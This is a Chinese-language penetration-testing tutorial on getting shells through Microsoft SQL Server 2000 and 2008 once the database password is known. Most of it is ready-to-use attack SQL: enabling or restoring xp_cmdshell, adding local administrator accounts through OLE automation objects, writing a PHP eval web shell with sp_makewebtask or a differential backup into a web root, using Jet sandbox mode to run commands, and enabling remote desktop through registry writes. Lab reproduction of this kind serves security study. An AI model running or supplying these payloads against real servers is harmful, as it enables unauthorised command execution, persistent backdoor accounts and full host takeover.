利用MSSQL getshell
此次复现使用的sql server 2000 和sql server 2008两个环境进行的
是在已知数据库密码的基础上进行的
0x01 MSSQL连接
连接MSSQL 2000
新建连接:
填写目的IP、目的端口、用户名、密码:
一直下一步,完成后,数据库导航窗口会出现一个连接,双击连接:
若是第一次连接,双击会提示下载驱动文件,若不成功,需多次反复尝试
新建SQL编辑器即可执行SQL语句:
查询SQL Server版本SQL语句如下:
select @@version;
执行结果:
连接MSSQL 2008
新建连接:
填写目的IP、目的端口、用户名、密码:
新建查询:
执行SQL语句,查询所有的数据库名称:
SQL语句:
SELECT Name FROM Master..SysDatabases ORDER BY Name;
执行结果:
0x02 MSSQL利用方式
xp_cmdshell
1.直接利用:
SQL语句:
exec master..xp_cmdshell 'whoami';
SQL Server 2000结果:
SQL Server 2008结果:
xp_cmdshell存储过程在 SQL Server 2005以后默认关闭,需要手动开启
开启xp_cmdshell命令如下:
exec sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure'xp_cmdshell', 1;RECONFIGURE;
有的时候不支持多句执行,那就采用分步执行,开启xp_cmdshell过程如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
可以通过exec sp_configure查看xp_cmdshell状态:
exec sp_configure
再次执行系统命令:
exec master..xp_cmdshell 'whoami';
exec master..xp_cmdshell 'ipconfig';
关闭xp_cmdshell过程如下:
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
2.恢复xp_cmdshell:
判断是否xp_cmdshell存储过程,返回1代表存在:
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
在SQL Server 2005及之前的版本,管理员可能采用下面命令可以将xp_cmdshell删除:
exec master..sp_dropextendedproc xp_cmdshell;
此时若使用xp_cmdshell,会提示“未能找到存储过程”,如下:
需使用下面命令可以恢复:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
恢复xp_cmdshell需要xplog70.dll,但有的管理员会将xplog70.dll一并删除:
如果有上传权限,可以上传xplog70.dll,并执行:
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='C:\xplog70.dll'declare @o int;
sp_oacreate(添加管理员)
SQL Server 2008不可用,SQL Server 2000可添加管理员用户:
DECLARE @js int EXEC sp_oacreate 'ScriptControl',@js OUT EXEC sp_OASetProperty @js, 'Language', 'JavaScript' EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("test1");z.changePassword("test1","");z.setting("AccountType")=3;'
sp_makewebtask (写文件)
SQL Server 2008不可用,SQL Server 2000可新建文件:(phpinfo)
exec sp_makewebtask 'C:\test1.php',' select ''<?php phpinfo();?>'' ';;--
写shell
exec sp_makewebtask 'C:\test1.php',' select ''<?php @eval($?_POST['cmd']);?>'' ';;--
wscript.shell(添加管理员)
SQL Server 2008、SQL Server 2000均可用:
开启(2008可以试一下,2000不用开启)
exec sp_configure 'Web AssistantProcedures', 1; RECONFIGURE
添加用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user test2 test2 /add'
添加到管理员组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators test2 /add'
执行结果:
Shell.Application(添加用户)
SQL Server 2008不可用,SQL Server 2000可用:
declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user test3 test3 /add','c:\windows\system32','','1';
沙盒模式
只有Windows xp 与 Windows 2003可用:
开启沙盒模式:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0;--
执行系统命令:(添加用户)
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test4 test4 /add")')
0x04 MSSQL差异备份
MSSQL 2008
查询库名:
SELECT DB_NAME();
也可以创建数据库:
create database test2;
先进行一次完整备份:
backup database test2 to disk = 'c:\test2.bak';
使用数据库:
use test2;
创建新表:
create table [dbo].[test2] ([cmd] [image]);
向表中插入数据:
insert into test2(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
3c3f70687020706870696e666f28293b3f3e为16进制的<?php phpinfo();?>
进行差异备份:
backup database test2 to disk='C:\phpStudy\PHPTutorial\WWW\test2.php' WITH DIFFERENTIAL,FORMAT;
访问目标地址:
0x05 补充
查看远程桌面开启
exec xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections'
开启远程桌面
exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\TerminalServer',
'fDenyTSConnections',
'REG_DWord',0